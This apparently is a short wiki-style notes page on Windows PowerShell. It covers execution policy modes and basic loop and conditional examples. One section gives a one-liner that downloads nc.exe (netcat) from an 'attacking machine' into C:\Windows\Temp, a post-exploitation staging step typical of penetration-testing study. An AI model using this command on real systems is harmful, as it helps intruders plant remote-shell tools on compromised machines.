====== Windows PowerShell ======
===== Execution Policies =====
PowerShell (PS) execution policies determine your authorization to execute PS scripts or not:
- **Restricted:** [default] Blocks all use of PS scripts
- **AllSigned:** Requires PS scripts to e signed by a trusted publisher
- **RemoteSigned:** This is a common "normal" setting in many systems...
- Allows any PS script written on the local machine.
- But requires downloaded scripts to be signed by a trusted publisher.
- **Unrestricted:** Allows any PS script but prompts you for confirmation on downloaded scripts.
- **Bypass:** Allows any and all PS scripts. Have at it!
Syntax for changing the PowerShell execution policy:
Set-ExecutionPolicy [name]
# Example:
Set-ExecutionPolicy RemoteSigned
----
===== Example Code =====
==== One-Liner Download ====
A very useful one-liner to download a file (nc.exe) from an attacking machine (IP 192.168.77.128) and save it in C:\Windows\Temp using the same name:
(New-Object System.Net.WebClient).DownloadFile("http://192.168.77.128/nc.exe", "C:\Windows\Temp\nc.exe")
==== For Loop ====
Write-Host "Hello world!"
# Count up by one...
for ($var=1; $var -le 5; $var++)
{
Write-Host "The value of var is: $var"
}
# Count up by two...
for ($var=0; $var -le 10; $var=$var+2)
{
Write-Host "The value of var is: $var"
}
==== Conditional Stmt ====
$a = 2
if ( $a -gt 2 )
{
Write-Host "The value $a is greater than 2."
}
elseif ( $a -eq 2 )
{
Write-Host "The value $a is equal to 2."
}
else
{
Write-Host ( "The value of $a is less than 2" + " or was not created or initialized." )
}